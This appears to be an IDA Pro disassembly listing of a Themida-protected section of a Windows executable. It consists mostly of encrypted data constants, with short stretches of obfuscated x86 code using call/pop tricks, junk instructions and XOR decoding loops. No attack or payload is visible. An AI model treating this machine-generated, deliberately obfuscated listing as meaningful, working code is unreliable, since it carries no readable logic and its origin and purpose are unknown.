		dd 514FE8D3h, 4B59F2C1h, 0EA46836Eh, 444C0714h,	218A3283h
		dd 5E4CE5D0h, 6DFD67D6h, 224F069Fh, 73423AA5h, 3A6BCCDAh
		dd 48F74C20h, 41A32AC2h, 4DE6D273h, 6A53D35Fh, 0C8059D1h
		dd 31B9A740h, 0C803B9Ah, 1C88A63Fh, 9E887375h, 8A385922h
		dd 9D0DB721h
		dd 9F0B19B2h, 8B154E07h, 218A38CAh, 25942D17h, 0F3CD3EBBh
		dd 0F6C875E3h, 5A520F5Fh, 63FCCA6Bh, 0BE55DD45h, 8A285422h
		dd 3CDDA921h, 41A9B750h, 5C27BBA9h, 80EFA5C3h, 3F5CE947h
		dd 28BB7C04h, 0BA19218Ah, 0BE3ACD6Eh, 0C047DFF2h, 612CFCA5h
		dd 0F58B49C8h, 0F1710AF7h, 5E76E07h, 0DF2EAC3Ah, 0A8FFADD6h
		dd 0F6F4D04Bh, 38B00365h, 0C505805Fh, 92726127h, 0F5AE6BFBh
		dd 89F92AEBh, 0EBD88821h, 60C85452h, 0AB4C37A9h, 0D5A343DCh
		dd 4EBB43Ch, 9C3B59F9h,	1A48FF0Ch, 523BC8Ah, 1210A995h
		dd 0AF813E2Bh, 0FFCDBFD8h, 5C2AF66h, 0C8B75823h, 1A19E2DEh
		dd 0CD77218Ah, 0E6D34765h, 5BD35F4Dh, 0A8920AD3h, 289110Fh
		dd 0D7A418D3h, 0DC4303Eh, 8A0B2ECFh, 56C16E21h,	4D1076CFh
		dd 0A93FCE5h, 99DACCF0h, 514FE8D7h, 0C9AA61C9h,	4B726DEh
		dd 7B14E0DCh, 0FE4639D4h, 6656FFFFh, 4D4B029Bh,	6932AEF5h
		dd 0C7218A94h, 8A76761Dh, 8B8199FCh, 8F179224h,	0F7C4B891h
		dd 3AFB855Eh, 982189B3h, 7B479930h, 0CF57F0DAh,	2A158740h
		dd 8E26BF89h, 337D14A0h, 30C9B521h, 3BA4DFB8h, 7EC8A4DEh
		dd 666A3355h, 218A26A5h, 26B25903h, 267013B0h, 0D3A359F6h
		dd 34D05FB7h, 1CE9E3BCh, 0EAF8917Bh, 363EA82h, 8FBFBE83h
		dd 8F281319h, 9B340191h, 0FB8B78Dh, 36FD3621h, 0BFB273FDh
		dd 0A810198Fh, 8FBF6B2Ch, 681FC919h, 0B41BC4FDh, 0C67F0115h
		dd 0C5B65D75h, 34D98D5h, 861FEDDFh, 0B855FC68h,	86h, 32AEF5D4h
		dd 218A9469h, 3E761DC7h, 0F1EBB41Ch, 0F07C6A03h, 87053E59h
		dd 99011FB8h, 16F6CE1Ch, 0DF76CB5Fh, 709D2701h,	48480B26h
		dd 19905B7Fh, 0DD9E22DDh, 3B19905Bh, 83721991h,	77F9E3D1h
		dd 19905BAEh, 64CC640Ch, 9A33017Bh, 0F969208Ch,	905B985Dh
		dd 851EED19h, 6D06F367h, 615E917Fh, 514B04CFh, 34F57B65h
		dd 9219905Bh, 5E0BC22Ah, 0B1AA5661h, 108C034Dh,	6038A23h
		dd 221h, 8A18F0Dh, 523E1381h, 949F6868h, 53FD218Ah, 5250E9D3h
		dd 167962CAh, 1CE956E4h, 4EE4F683h, 0FCC9A31h, 0B19B29Dh
		dd 9831FF9Fh, 796B228Ah, 851EE98Ah, 6D06F367h, 38B46D05h
		dd 28B4B24Bh, 9408C1A1h, 6A7A11AAh, 6B2CB49Eh, 0B8218A4Bh
		dd 17C130C9h, 0C4B8918Fh, 0D16A56F7h, 4632B259h, 0B63ED7A5h
		dd 6A6D02EDh, 813745CBh, 0EB481CD7h, 0D1784D03h, 67554700h
		dd 0BD54E0CEh, 89D38F1Fh, 0AC308F21h, 0DFF46033h, 7B14FD6Dh
		dd 9E4E056Dh, 8C2511B2h, 0D5BA7524h, 0A6ADEAA5h, 2ABA51B4h
		dd 33D4BD5Eh, 2745AD46h, 856A33BBh, 7227010Bh, 9CCA8112h
		dd 1903CDBFh, 89A5CE97h, 2CC42C21h, 2B39D2BCh, 6EA008BFh
		dd 8C9A3302h, 94CF8820h, 0F17A152Bh, 0B19C69EEh, 52C33D4h
		dd 9440C75Fh, 266FF9AAh, 83CF51AEh, 0A59A76FBh,	8C140FEEh
		dd 199032CBh, 31CAB729h, 876831B9h, 22F17B4Dh, 0C3840CFFh
		dd 21198FCCh, 39982FB7h, 0FABBC57Eh, 47198FCBh,	5DC5E37Ch
		dd 0D5DF76DEh, 8A02DB43h, 9D0523BCh, 0BDAB440Dh, 3E059E35h
		dd 0CCBA7B05h, 0A818198Fh, 21A840D9h, 7D0BADB3h, 57D6B91Eh
		dd 0C67609E4h, 0C32BC4B1h, 0A3C15A23h, 0A6619037h, 9294612Ah
		dd 410DBF11h, 0BA32BAA8h, 0A62A6932h, 119294E5h, 4F1C9943h
		dd 0A969958Fh, 0A7ECB75Eh, 27AE4735h, 6B55F6C5h, 0E048D4D2h
		dd 73343CF7h, 0D1119283h, 7FF1E067h, 0C4417B0h,	0B71CCA4Bh
		dd 48BC3A7h, 341C0000h,	0C28CFC9Bh, 4C3AAA29h, 0C7B424B3h
		dd 4E3DAF2Eh, 819726B5h, 3AD97241h, 0E96801CAh,	64F38C77h
		dd 0E06F08F4h, 43048C87h, 0A1198A44h, 0AEF57A16h, 305B9A51h
		dd 9E3A2EC7h, 218A62DDh, 2411913Bh, 15E4048Bh, 8FEC8574h
		dd 1DA215ACh, 7F58D020h, 37FBBCC4h, 0EF59218Ah,	0CEBE7958h
		dd 0FD966203h, 0FDEB83EFh, 6E07F575h, 0AB3905E7h, 432F3BC4h
		dd 0C330BCAAh, 169E770Dh, 0C18A064Dh, 1F2189EDh, 4BF1EB5h
		dd 6F26BF88h, 0E4540631h, 66E7C15h, 0ABA46F79h,	79F3F5Ch
		dd 524E154Eh, 2189C389h, 1CA47DE7h, 2189C35Bh, 5C780FB9h
		dd 266FD08Ah, 0EAAB356Eh, 48198F8Eh, 9D15AE98h,	6B5507F6h
		dd 0B815AD2h, 31B9A740h, 9D0FCC9Ah, 617F16AFh, 198F8E94h
		dd 63811AE9h, 905F00EFh, 0E981E9F7h, 0D6D3FEFBh, 15927F5Ah
		dd 4C8EF6A2h, 9BDFC003h, 0B806D334h, 22838E45h,	0A0000002h
		dd 43CA632Ch, 0EF7F555h, 64EB7775h, 2817B884h, 53E178Fh
		dd 8A94BA7Bh, 0F3E91A21h, 7B8AA8FFh, 0ADBD54FCh, 664D0BF4h
		dd 0A92B5EF9h, 0D15947E0h, 61FAC959h, 614B3AAAh, 8A57965Fh
		dd 7944F421h, 0D25AC2E0h, 3F0B815Ah, 0A27FEFA6h, 0A4C25B2Ah
		dd 44AC4530h, 52BF4F8Dh, 84BF218Ah, 85A33C08h, 52B8811Dh
		dd 0AE16218Ah, 60F9C527h, 0A23B0577h, 60711884h, 0B24B35A7h
		dd 3FA128B4h, 3E078973h, 8B218A52h, 0DC9726BFh,	8A5213D4h
		dd 5FC77121h, 0B29E0EC7h, 268E2711h, 0AA22FF6Fh, 67BB52E0h
		dd 12D8C59Dh, 0D1CF8C9Ah, 21899B08h, 0DF76FE66h, 68A43D5h
		dd 21899B45h, 0AD4631A3h, 33BB33BFh, 0EE87726Ah, 0C2DD7400h
		dd 81DDC281h, 0B2AAE1A5h, 666029B5h, 16BE218Ah,	576F617Fh
		dd 79732670h, 72F3F18Ah, 0B313FD05h, 0F990181Dh, 0A8A0FFF8h
		dd 0ABB84466h, 55A465F1h, 52021990h, 53DFCD66h,	0C98A53DBh
		dd 9054FEC7h, 5DF45C19h, 0E942D47Ch, 1930884Ah,	9780E8DAh
		dd 6113D4DCh, 99171990h, 199061D0h, 8D37C62Eh, 9DD69D06h
		dd 90615213h, 3600B019h, 8B238F9Dh, 742DD804h, 0B7351E7Dh
		dd 0A53533CCh, 3AAA42DBh, 0E110B750h, 7FE7806Fh, 0B51C3996h
		dd 675EBE7Eh, 7629D20Ah, 943B02DAh, 850B480Bh, 1192A6C4h
		dd 2FC8B222h, 8A41A931h, 0CA6B5Ah, 79F17967h, 0DDAB21DAh
		dd 636D2644h, 1192A6A2h, 39D05800h, 11EED8A7h, 921D502Dh
		dd 0D09945E6h, 30119308h, 9AB6C656h, 0D47CFBD9h, 195B895Ch
		dd 0EA841CCAh, 1E00Ah, 0F0897100h, 6C05EF61h, 0F48D7BEDh
		dd 6D06F365h, 0F68F7EEEh, 2C0D667h, 89FB9A33h, 38A827C0h
		dd 0B325B44Dh, 54AF2EC7h, 4288514Fh, 5DE6198Ah,	654F3E33h
		dd 8A949A5Bh, 0E350F821h, 0C41A635Ch, 0C89119E2h, 8C33F2E7h
		dd 0C099B1A0h, 8A57F7C0h, 64EB5521h, 0F7C2BA75h, 4935B75Eh
		dd 2846DFA8h, 286B34BCh, 8A58DFA8h, 26933D21h, 0D23D3DDh
		dd 0A637DE26h, 3EAEF5EAh, 5A1BB750h, 0B8218A94h, 9B677910h
		dd 76740DFAh, 0EAAB35EEh, 48218A94h, 411A08A0h,	0FAE8814Bh
		dd 94D69F21h, 8C34218Ah, 8F7B6D24h, 9BBD67F6h, 21856A33h
		dd 52551163h, 0F47C15E2h, 50ADEE87h, 0BA517A70h, 5D2AA2E1h
		dd 973EA6C4h, 89F59E49h, 4D36A629h, 23DC1DB4h, 2644DDA9h
		dd 0AF5922BEh, 0DB71989h, 0A4D3BCA5h, 6BDDB23Eh, 0D94919B0h
		dd 6AB75FEDh, 2F3DD6A4h, 827E36C3h, 47008F17h, 0D3D16A55h
		dd 5420C047h, 0B931CAB3h, 841DECE0h, 1757FE66h,	0DE77423Ah
		dd 2FAD64D0h, 387928D6h, 8F9D3603h, 8A98311Bh, 20B98222h
		dd 8F382902h, 217EBBA1h, 5E4D206h, 0C0AD6496h, 0EEF7D807h
		dd 299B30EFh, 513DAF66h, 0AA06967h, 56FEB796h, 0B88705DEh
		dd 0AE69681Fh, 0ADBB543Eh, 0B7B54E3Dh, 0DC0CC32Bh, 0E7E57F0h
		dd 31B9A740h, 9D0FCC9Ah, 0A10917B0h, 6C0DFAEAh,	921A08A1h
		dd 7C4B411Ah, 483E2CE3h, 3708543Bh, 0F5CBC44Ch,	9296135Eh
		dd 9D3605A6h, 0CFCD8615h, 20C047E0h, 0A5666A54h, 3B795E7h
		dd 9408D159h, 871311AAh, 918F2817h, 27E48209h, 9930C9B5h
		dd 2CD7h, 0DFAE1E00h, 3EB64F3Eh, 0BE34ECC1h, 0E66DB138h
		dd 0BF7F5BAh, 61E87472h, 96A20D46h, 1CDF624Dh, 9CCB3399h
		dd 421E991Fh, 0BC53DB74h, 0BD563EE0h, 0B64F3BAFh, 0C05924B8h
		dd 0B04932A2h, 0BA5322B2h, 0B04938ACh, 0BC5522B2h, 0B7503EAEh
		dd 0B64F39A9h, 0E268F7B8h, 54000056h, 8124048Fh, 42404h
		dd 89560000h, 4C681E6h,	83000000h, 348704EEh, 0C895C24h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h
		dd 4A44h, 0B8240489h, 10B145A7h, 0B1716FB9h, 58C13118h
		dd 79C268h, 24248900h, 4240481h, 5A000000h, 4EC81h, 0C890000h
		dd 8428F24h, 5324148Bh,	0C381E389h, 4, 8704C383h, 0FF5C241Ch
		dd 83592434h, 96E904C4h, 8BFFFB87h, 0C35B52C8h,	54D2B8E2h
		dd 0C5030800h, 0F6B4E0FFh, 6FBA473Bh, 11365493h, 4C5744EBh
		dd 37E94BEAh, 0CD996128h, 50343ACCh, 0C59012Eh,	14B04D91h
		dd 0D09956B1h, 791D2AE8h, 0DCAC36EDh, 8D8D222Ah, 800563Bh
		dd 8971C380h, 0FA27C18Dh, 0BF0F5707h, 85C758D2h, 7FA1C01h
		dd 6FBCh, 68A0Fh, 0BD8B0000h, 7FA14FDh,	1AED85C7h, 7FAh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 5F5A70C3h, 32FAD0B8h, 8B585B51h, 0FA2E659Dh
		dd 45B5FF07h, 6A07FA2Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0D9BC353h, 827FC900h
		dd 858B3F85h, 7FA2135h,	177D95FFh, 9D8B07FAh, 7FA1DA1h
		dd 95FF006Ah, 7FA012Dh,	1AEBC08Bh, 92AA9399h, 0B8E1995Ch
		dd 4707EDF2h, 9A45EE6h,	44285BC1h, 23522044h, 8D8DC609h
		dd 8005733h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0D7C35646h, 0B57BE0A9h,	8D89FA8Bh, 7FA27C1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6C35040h, 1C0185C7h
		dd 668C07FAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 85C7CFC3h, 7FA1AEDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_6071E3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6071E3	proc near		; CODE XREF: Themida_:006071DBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_6071E3	endp

; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
		sal	dword ptr [ebx+31h], 1
		test	byte ptr [edx+11F9B5FFh], 0FAh
		pop	es
		mov	ebx, [ebp+7FA33D1h]
		call	dword ptr [ebp+7FA177Dh]
		push	0
		push	esi
		call	sub_607216
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_607216	proc near		; CODE XREF: Themida_:0060720Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_607216	endp

; ---------------------------------------------------------------------------
		sbb	al, 5Eh
		sub	dh, 89h
		popf
		stc
		sbb	eax, 6A07FAh
		call	dword ptr [ebp+7FA012Dh]
		mov	eax, eax
		jmp	short loc_6072A6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 22h,	46h, 1
		dd 0CED08C80h, 0EA1419FBh, 0CEAC8264h, 0EF570C5Fh, 0C1849AF7h
		dd 4DBC8188h, 833176A4h, 0BA23151Bh, 6351EAABh,	0B78AF26Fh
		dd 0A7759866h, 0F0E03841h, 3B755481h, 0DFC5A320h, 0E750844Bh
		dd 17EAB91Bh, 85C50105h, 498AE438h, 72C8AB10h, 5C18F9AEh
		dd 0E0C6D21Fh, 3F1A81BEh, 7C490E74h, 1B306Dh, 0F64651D7h
		db 0C1h, 0Ah
; ---------------------------------------------------------------------------


loc_6072A6:				; CODE XREF: Themida_:0060723Aj
		call	sub_6072B6
		jb	short loc_6072F9
		add	edx, [edi-74h]
		cdq
		mov	cl, 6Dh
		push	ebx
		add	[ebx], ecx

; =============== S U B	R O U T	I N E =======================================



sub_6072B6	proc near		; CODE XREF: Themida_:loc_6072A6p
		call	near ptr loc_6072C8+1
		or	[eax+eax*8-78h], ecx
		setalc
		nop
		inc	ecx
		push	ebx
		xor	eax, 55E58D87h


loc_6072C8:				; CODE XREF: sub_6072B6p
		test	byte ptr [ebx-16A4A102h], 0Fh
sub_6072B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 2B330000h, 94DE389Fh, 8D0BE5C3h, 6C85B121h, 0B8C381F0h
		dd 33000066h, 51BD89D2h
; ---------------------------------------------------------------------------
		adc	bh, dl
		pop	es


loc_6072EF:				; CODE XREF: Themida_:00607358j
		push	dword ptr [edx+ebx]
		mov	esi, [ebp+7FA1B55h]
		pop	ecx


loc_6072F9:				; CODE XREF: Themida_:006072ABj
		push	esi
		mov	edi, eax
		pop	eax
		xor	ecx, 469C883Ch
		jmp	loc_607316
; ---------------------------------------------------------------------------
		dd 30A3DD54h, 68AD3531h, 700A7A91h
		db 0D9h, 0B6h
; ---------------------------------------------------------------------------


loc_607316:				; CODE XREF: Themida_:00607303j
		xor	ecx, 1A73274Ah
		sbb	di, 0D6C6h
		add	ecx, 7DBCED3Ah
		mov	eax, 2518715Eh
		mov	[ebx+edx], ecx
		xor	di, 0D960h
		jge	$+6
		sub	edx, 4AFBCC23h
		sbb	eax, 74BA155Ah
		add	edx, 4AFBCC1Fh
		mov	[ebp+7FA2B3Dh],	eax
		cmp	edx, 0FFFF99FCh
		jnz	loc_6072EF
		mov	edi, 5F522604h
		jmp	short loc_6073C5
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_6073C5:				; CODE XREF: Themida_:00607363j
		jmp	loc_608DCB
; ---------------------------------------------------------------------------
		jmp	loc_608DC4
; ---------------------------------------------------------------------------
		push	8006C30h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8006EECh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8006FA7h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 0E9h, 0EBh, 51h
		dd 0EF15BDC1h, 52CCDB23h, 0E913C0C0h, 4BF9D519h, 6FE50DB7h
		dd 4925DD67h, 619D758Fh, 3C44CE74h, 0B4A36F91h,	0CBC5DC08h
		dd 481EC25Dh, 4AAE1234h, 0CA5E241Bh, 48385F74h,	6E75618Ch
		dd 0C5CA5E24h, 5E240221h, 6C465BCAh, 2481A044h,	0C9DACA5Eh
		dd 8F2BC9FAh, 0CF0AE7EBh, 0CDF6CF35h, 3EF99E27h, 52F2DE82h
		dd 926E19B2h, 5E02BE46h, 0A7BED174h, 92DB4E97h,	0F4BC5641h
		dd 2EC67E58h, 0CB06F2A5h, 0AF137739h, 0CA5D49B0h, 35CFB809h
		dd 3A768C49h, 6C88BC16h, 6C48B4E3h, 497DA450h, 0CDD6CA5Dh
		dd 0F212BEBAh, 6A9D06CEh, 81904B20h, 2D26E16h, 83A64B2Bh
		dd 12BBC5BCh, 4C3B14F0h, 0B84FA22Ch, 0F6B557Eh,	0B24A3DC7h
		dd 0B4FC08C6h, 3BF5ECD8h, 0E060CA5Dh, 26EC9740h, 56419230h
		dd 616E12AEh, 0FC4B4E3h, 5303CBF5h, 604DD045h, 2C087423h
		dd 0F57B8550h, 215F28DAh, 74AE3D8Ah, 0E80CB790h, 9EA6304Ch
		dd 0BEBACD66h, 5781DD14h, 0D243BADh, 347DCA5Eh,	933D219Fh
		dd 0CDBA9371h, 0EBE7832Fh, 6D1AB351h, 0FAB6C395h, 0C0C77D56h
		dd 652ED400h, 0A7C3D25Eh, 0F12BC22Fh, 6905B5E2h, 0C4ECD76Dh
		dd 0F3112BA8h, 7372565Ah, 0CCC25DB4h, 0CB090F7h, 0ACDB6570h
		dd 0C2FE06CCh, 0B3EBFADEh, 7044C25Dh, 0CE276D90h, 0B6E1F282h
		dd 0DDF8545Ch, 0D0725D23h, 0F2F2C3C7h, 4BA3EC08h, 743C874Bh
		dd 0FB4BCC2Ch, 876BA7F2h, 0C25D4158h, 0E4B320B1h, 3F94B8D4h
		dd 0CBDE9205h, 1AC25D40h, 41535276h, 17ACC25Dh,	23AED270h
		dd 794AE321h, 0CCF66737h, 64708A47h, 0A34F0DA4h, 0C25D387Ch
		dd 90F7CCD5h, 5C6448F4h, 0DA309261h, 0D908F0F1h, 32C25D83h
		dd 32A333A1h, 77CB81C0h, 5CE5F010h, 0B5AAF8DBh,	0CCF4DF15h
		dd 0DE0A27B0h, 0C25DD0C7h, 57409320h, 2B97F3BBh, 0C25DD134h
		dd 777D874Bh, 0D8BF14AEh, 0FBC212C4h, 46DFF679h, 0EFEA1681h
		dd 0FCD9D002h, 6A467D46h, 0BD37CD06h, 17ED76F5h, 21B2D76Eh
		dd 6A56A676h, 8D7CC25Ah, 0AD28C10Bh, 45574093h,	0E1636E12h
		dd 0AF09D4B6h, 4DE61E18h, 24607F63h, 0E8B9CA5Eh, 6279D5DBh
		dd 12BDDFA8h, 241B4AAEh, 5F74CA5Eh, 7AD6DA38h, 854EA65Eh
		dd 2488973Bh, 0D0E1CA5Eh, 0AE12D5C7h, 5E241B4Ah, 385F74CAh
		dd 95797455h, 0D0586808h, 3A2E97F4h, 0B8522572h, 0B6000000h
		dd 92053F9Ah, 636E1282h, 9D4B6E1h, 23DC03EFh, 1935CA5Eh
		dd 0A88183B9h, 6408A81Bh, 0ED02D66Fh, 32CA72E5h, 1226F6A1h
		dd 0EFE55F6Eh, 0E55E40C9h, 0F0D0B779h, 0DD04F0CCh, 48CA5E19h
		dd 0A3082421h, 18A9099Bh, 0D7DA096Fh, 4B33CA5Dh, 0A98282BCh
		dd 10F40EC7h, 9C248C37h, 4A84BE89h, 63713ABAh, 0D7AB0BEh
		dd 26AE1207h, 0DDCED98Bh, 5F1CFC7h, 0CA5D98DEh,	0F71D6A37h
		dd 0DF656E12h, 0FDFB8C25h, 98E430D5h, 35A2A9FBh, 2828F39Fh
		dd 1D2DEACh, 0F319BBFh,	692B5CF5h, 0DF656E12h, 0D0AC10B8h
		dd 2123AC39h, 0D1AFE5B2h, 89h, 0F827CBEFh, 51CA5E23h, 0DC051780h
		dd 4983E701h, 243231B7h, 0E38BCA5Eh, 17B054EEh,	127517ACh
		dd 241B4AAEh, 5F74CA5Eh, 48248838h, 4D23748Ch, 0CA5E2456h
		dd 0E4FBE797h, 3DCA5E23h, 51615F74h, 0AD3B0862h, 1DB7B9C8h
		dd 12E0B4E3h, 20E4606Eh, 5C400087h, 248D9440h, 0DDE6CA5Eh
		dd 6E12EAAAh, 0C3B5E262h, 1A58F60Fh, 19975FBh, 4792EED2h
		dd 296E37BDh, 0CAA61AF3h, 0F09A009h, 705440C4h,	0CA5E2471h
		dd 0BDCAF9CAh, 4AAE12D7h, 0CA5E241Bh, 75615F74h, 0CA5E246Eh
		dd 758DFAC7h, 0EEDAD6E3h, 0D258595Ch, 221C5E9h,	5BC263EEh
		dd 0DD814146h, 19B252F0h, 40BE06AAh, 827253A8h,	0DFBB494Eh
		dd 715B507Bh, 0DD9304CFh, 0C2641AC2h, 0DBE7B767h, 0E19280C3h
		dd 253CA808h, 7EC26363h, 607B6235h, 0AD577CE0h,	0F4197E47h
		dd 26F4465h, 0E09F6737h, 43124544h, 41CA354h, 69050000h
		dd 9730D46Eh, 6E122CF0h, 8B24E064h, 2B3106FCh, 0DEE250B5h
		dd 852B98FFh, 2F58D2E9h, 0BF466591h, 0F18DCA5Dh, 8F2B5CE6h
		dd 9C58E2EFh, 5844C013h, 0BF919034h, 0D9EACA5Dh, 93043E97h
		dd 4C856A65h, 5F753EB6h, 6B5E72A9h, 2A863D3Bh, 0AA436286h
		dd 79CCA5Dh, 0A62E1280h, 0A82103Fh, 11384B7h, 0B3FD07D2h
		dd 50AAA3EBh, 9DEA1B14h, 616E1277h, 9C3521E3h, 0BA135D66h
		dd 0B4E36C88h, 0C5106C48h, 12484C3Bh, 0B5E2626Eh, 9B010ECDh
		dd 8F626E12h, 723BB943h, 7D0AA361h, 834D310Dh, 12061681h
		dd 241B4AAEh, 0C74CA5Eh, 0EDC63EC6h, 0FDDCB1D6h, 0EF089579h
		dd 23F827CBh, 8051C75Eh, 0B16817h, 0A4C80000h, 9282152Fh
		dd 10A701DCh, 0BB03AD16h, 8CC6B4B9h, 13098E30h,	0E3616E12h
		dd 41FF8821h, 0DAD7015Dh, 309043F9h, 5E249DC4h,	0DAADF6CAh
		dd 5E240F16h, 0CE0A66CAh, 0A2F5BE36h, 0E21AB898h, 53527622h
		dd 0ACCA5E24h, 9917AC17h, 0C1115809h, 0F7A017A8h, 0D2AE1225h
		dd 0E5FCE801h, 3ECA5E23h, 63395E75h, 2EA900D2h,	0B101BF14h
		dd 0D7515138h, 0D1735C93h, 5E299A33h, 46C2123Eh, 5E1E4188h
		dd 0E3D77116h, 53B14B87h, 12070D7Ah, 840F89C2h,	0C30F66E4h
		dd 0ECE68A39h, 84139C58h, 9473h, 0A9F99500h, 0CABC0793h
		dd 1110D8A5h, 6ACA5DD9h, 126E2E59h, 611866C2h, 0EE99F7E1h
		dd 0D0E7411Ch, 121F6D56h, 5E23BFE6h, 993A16CAh,	666E3463h
		dd 0F5732AB0h, 7E4291E7h, 5AAFB622h, 0A808CA5Dh, 5D5A253Ch
		dd 9E357ECAh, 6E1223F9h, 8922E262h, 425E42FEh, 5E248F96h
		dd 6EC0FACAh, 78C68C4Bh, 0FE1E693Ah, 0E4606E12h, 0A40DC5B3h
		dd 5AB1828h, 4B855269h,	61EA0AB9h, 6E126636h, 0BD479061h
		dd 0D3C78106h, 559B68CBh, 0B8F8D618h, 5D2C150Ch, 32656ECAh
		dd 0F8FBDC62h, 0C68AE8B8h, 7344231h, 229E35CFh,	5DE1AFB6h
		dd 0CCBB08CAh, 0E0E508ECh, 4A26CA5Dh, 0B27B79B3h, 1E98E322h
		dd 596A3218h, 14D9F357h, 5D75B1B0h, 0AB90ACAh, 0CE3661EAh
		dd 0C57F8EF2h, 192BA6D2h, 0AF2945E9h, 0B1D66F95h, 32C212EBh
		dd 86232D10h, 99344453h, 0AC254967h, 47FDDA96h,	6A565C40h
		dd 9F647E46h, 40F8BCF7h, 5D54A9B8h, 0E6B102CAh,	646E12B6h
		dd 8D3B7E0h, 23DD04F0h,	6D36CA5Eh, 92365A56h, 0CA5E2493h
		dd 0ECB0D7ECh, 3638C212h, 1AB3FE33h, 3D211D6Dh,	0F5277092h
		dd 0E0646E12h, 9FC8B24h, 8957928h, 934A941Ch, 468F1EA9h
		dd 0AEBE41h, 7EE20000h,	0B6E6B153h, 0B6FA01DCh,	9304389Ah
		dd 646E1281h, 0DD09B7E0h, 0CA5E23C6h, 6C96411Dh, 11C1BF88h
		dd 574009EBh, 2E9A576Bh, 0C242FC0Bh, 6463DBE9h,	764DF7DCh
		dd 0CF07634Dh, 844FF5E2h, 0BCE0A780h, 0E612AE12h, 0CA5E23BFh
		dd 91398B18h, 0A4C39A1Eh, 129A7A0Dh, 0C43D26AEh, 4B56D580h
		dd 5DFD869Dh, 2D2DFCAh,	28A790Fh, 0DD1B6C12h, 2ED6FCF5h
		dd 35931BA5h, 5DEA92E7h, 74917445h, 211C6B60h, 0C212A676h
		dd 8509790Eh, 4983EDE6h, 0A0F8D0B7h, 0E4606E12h, 0FF008720h
		dd 0AEh, 5F903D21h, 5E246C73h, 0C7FCC5CAh, 21F3A42Dh, 0DF656E12h
		dd 40BD2B8h, 0C34A0BCh,	0AE12997Bh, 5E241B4Ah, 385F74CAh
		dd 8F482488h, 574E2275h, 0AECA5E24h, 23BFE612h,	7818CA5Eh
		dd 5E24554Ch, 0AE25AECAh, 0ED70AA26h, 6433FF83h, 438B353Eh
		dd 0A0354138h, 12C0C064h, 12779DEAh, 0C326C8C2h, 0DDEC5743h
		dd 19277063h, 184F2D75h, 40DCCA80h, 0AE124557h,	6FE06D2h
		dd 24A4BB2Dh, 0A1FDCA5Eh, 5E242E35h, 893A87CAh,	2DD002FEh
		dd 0BCF941C8h, 318F44AFh, 513A698Dh, 3F93CA5Dh,	49DBB4E6h
		dd 0D9BE15EFh, 0CAA61AC3h, 34FDF70Dh, 0AE123163h, 23BFE612h
		dd 8B18CA5Eh, 5E24465Dh, 6E129FCAh, 0C9B6E163h,	22Ch, 0B54F83E7h
		dd 0FBDCB2E2h, 0D91B29A5h, 753D8350h, 387991D8h, 0E9D7C00Bh
		dd 152FA9C5h, 0AAEE57EFh, 8BF76FB3h, 82A94F38h,	0C9CA5E07h
		dd 0F5886F9h, 3E82A92Eh, 5E048B9Ah, 0C8CFE4CAh,	37D9AAFAh
		dd 60ECE204h, 0A4314D73h, 3E11099Fh, 0CB707A5h,	0ACDB5564h
		dd 9C486450h, 0CA5DA685h, 0B6C2D5DEh, 0F119E91Bh, 0E55F6E12h
		dd 0FF01861Fh, 46C0D7D4h, 0EEAE25AEh, 0E1636E12h, 0C2268A23h
		dd 0CA5E24A3h, 24E0A7FCh, 0B1B01478h, 0ACA5E24h, 12CECEB9h
		dd 0B5E2626Eh, 0A4020ECDh, 59091F22h, 1206863Dh, 241B4AAEh
		dd 5F74CA5Eh, 7AD6DA38h, 3E659158h, 97CA5E24h, 0CECEB90Ah
		dd 102AC212h, 22E5E225h, 79B19075h, 0C7A30895h,	27CBF50Fh
		dd 0C75E23F8h, 68178051h, 0E6h,	656E12A4h, 0FB8C25DFh
		dd 5A283407h, 0C0B28177h, 0CDB4AB17h, 0C40DCA5Dh, 0B4FCC40Fh
		dd 737C445Dh, 869601DDh, 0E3616E12h, 18A804B4h,	68011ABAh
		dd 37A0E0CFh, 0EFF67A0Dh, 46CA5E21h, 22677E6Ah,	547ECA5Eh
		dd 0BFC112B0h, 0A39FE812h, 21C8D7FBh, 0B31FCA5Eh, 0CA5E22ACh
		dd 0ADF6BC05h, 0CCF709C3h, 2957DCE4h, 0F1BFE612h, 8B18CA5Dh
		dd 0ACCCA439h, 3B3BF418h, 5740CB34h, 12AE1245h,	241B4AAEh
		dd 5F74CA5Eh, 5E248A99h, 0F35A1CAh, 4D565CF5h, 0C2125A3Ah
		dd 0E4EFEE48h, 0F9BC6A5Ah, 0F6706F53h, 0F8C9CA5Dh, 162CA5CBh
		dd 66438F71h, 921BD96Bh, 0AE125B41h, 0F9FB01D2h, 2499C830h
		dd 0E1F2CA5Eh, 0D2AE12B6h, 231DAC05h, 0AD2854B0h, 0EBD87193h
		dd 6E12789Ch, 0C4B3E460h, 78h, 0B30ADCE4h, 0CE0206D9h
		dd 6E12D3C9h, 8821E361h, 0D8300BFFh, 0E8C143FDh, 5D79D5DBh
		dd 12BCE0A7h, 452A26AEh, 7F8FCF6Dh, 5D386A79h, 92EEC3CAh
